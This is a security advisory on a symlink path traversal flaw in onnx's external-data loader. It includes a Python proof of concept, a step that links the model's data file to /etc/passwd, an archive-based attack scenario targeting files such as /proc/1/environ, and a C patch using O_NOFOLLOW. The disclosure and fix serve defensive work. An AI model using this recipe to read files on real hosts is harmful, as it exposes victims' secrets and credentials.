onnx Vulnerable to Path Traversal via Symlink
### Summary
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.
### Details
The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system:
https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033
`std::filesystem::is_regular_file` performs a `status(p)` call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.
### PoC
```python
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper
def create_onnx_model(output_path="model.onnx"):
weight_matrix = np.random.randn(1000, 1000).astype(np.float32)
X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
W = numpy_helper.from_array(weight_matrix, name="W")
matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")
graph = helper.make_graph(
nodes=[matmul_node],
name="SimpleModel",
inputs=[X],
outputs=[Y],
initializer=[W]
)
model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
onnx.checker.check_model(model)
data_file = output_path.replace('.onnx', '.data')
if os.path.exists(output_path):
os.remove(output_path)
if os.path.exists(data_file):
os.remove(data_file)
onnx.save_model(
model,
output_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=os.path.basename(data_file),
size_threshold=1024 * 1024
)
if __name__ == "__main__":
create_onnx_model("model.onnx")
```
1. Run the above code to generate a sample model with external data.
2. Remove `model.data`
3. Run `ln -s /etc/passwd model.data`
4. Load the model using the following code
5. Observe check for symlink is bypassed and model is succesfuly loaded
```python
import onnx
from onnx.external_data_helper import load_external_data_for_model
def load_onnx_model_basic(model_path="model.onnx"):
model = onnx.load(model_path)
return model
def load_onnx_model_explicit(model_path="model.onnx"):
model = onnx.load(model_path, load_external_data=False)
load_external_data_for_model(model, ".")
return model
if __name__ == "__main__":
model = load_onnx_model_basic("model.onnx")
```
A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing `poc.onnx` and `poc.data (symlink)`. Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.
### Impact
Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.
NOTE: this issue is not limited to UNIX.
### Sample patch
```c
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
int open_external_file_no_symlink(const char *base_dir,
const char *relative_path) {
int dirfd = -1;
int fd = -1;
struct stat st;
// Open base directory
dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
if (dirfd < 0) {
return -1;
}
// Open the target relative to base_dir
// O_NOFOLLOW => fail if final path component is a symlink
fd = openat(dirfd,
relative_path,
O_RDONLY | O_NOFOLLOW);
close(dirfd);
if (fd < 0) {
// ELOOP is the typical error if a symlink is encountered
return -1;
}
// Inspect the *opened file*
if (fstat(fd, &st) != 0) {
close(fd);
return -1;
}
// Enforce "regular file only"
if (!S_ISREG(st.st_mode)) {
close(fd);
errno = EINVAL;
return -1;
}
// fd is now:
// - not a symlink
// - not a directory
// - not a device / FIFO / socket
// - race-safe
return fd;
}
```
### Resources
*
https://cwe.mitre.org/data/definitions/61.html
*
https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172
*
https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368